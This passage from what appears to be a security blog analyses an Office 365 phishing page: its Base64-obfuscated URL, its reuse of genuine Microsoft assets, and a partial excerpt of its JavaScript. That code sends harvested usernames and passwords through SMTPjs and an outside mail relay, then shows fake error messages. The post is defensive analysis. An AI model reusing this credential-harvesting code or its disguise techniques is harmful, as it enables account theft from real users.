in binary formats across channels that only reliably support text based content. In this particular case, Base64 is being used to obfuscate the text in the url due to the extreme ease of use to encode and decode without much effort. > For example, `https://securitybyjoel.com` translates to `aHR0cHM6Ly9zZWN1cml0eWJ5am9lbC5jb20=` in base64. ## Destination: Harvest Credentials ![picture of office 365 fake login](/img/office365_login_phish.webp) Upon arriving at the destination site, the victim would be presented with a login page with their email address shown in the window (redacted). The url has tacked on a `#` at the end of the URL (observable in the browser address bar) but is off screen due to the extremely long url used possibly just for purposes of hiding this information. An excerpt from the domain registration for msauth.net which is hosting some of the assets used in the fake login page, refer to a domain owned by Microsoft. ``` Domain Name: msauth.net Creation Date: 2018-10-25T18:11:25+0000 Registrant Organization: Microsoft Corporation Registrant Street: One Microsoft Way, Registrant City: Redmond Registrant State/Province: WA Registrant Postal Code: 98052 Registrant Country: US ``` Since the attacker used legitimate web assets for their spoofed page, the page looks even more legitimate. Even details such as the web icon that shows in the browser tab is retrieved from a legitimate Microsoft source. ```html ``` Additionally, the background, logo, and arrow are referenced from Microsoft as well. ```html

``` ## Javascript Code Taking a look at the javascript code in the page shows that the attacker is taking advantage of an open source library named [SMTPjs](https://smtpjs.com/) to send data entered into the fake login form to the attacker. ```javascript var = .split('#')[1]; $('#').text(); function (qqq, www) { if(qqq.length < 1) { $('.errrmsg').html("Please enter your password.").show(); $('#').addClass('has-error ext-has-error'); return false; } else { $('#progressBar').css({'display':'block'}); $('.lightbox-cover').addClass('disable-lightbox'); var msg = " [U]> "+www; msg+=" [P]> "+qqq; msg+=" [Pub]> "+ $('#').val(); Email.send({ Host : "smtp-relay.gmail.com", Username : "", Password : "", To : '', From : "", Subject : $('#').val()+" CORS", Body : msg }).then( message => { if(message == "OK") { $('#progressBar').css({'display':'none'}); $('.lightbox-cover').removeClass('disable-lightbox'); var c = $('#').val(); if(c == 0) { c++; $('#').val(c); $('.errrmsg').html("Sign in attempt timed out.").show(); $('#').val(''); $('#').addClass('has-error ext-has-error'); } else if(c == 1) { c++; $('#').val(c); $('.errrmsg').html("Your account or password is incorrect.").show(); $('#').val(''); $('#').addClass('has-er

Leave a Comment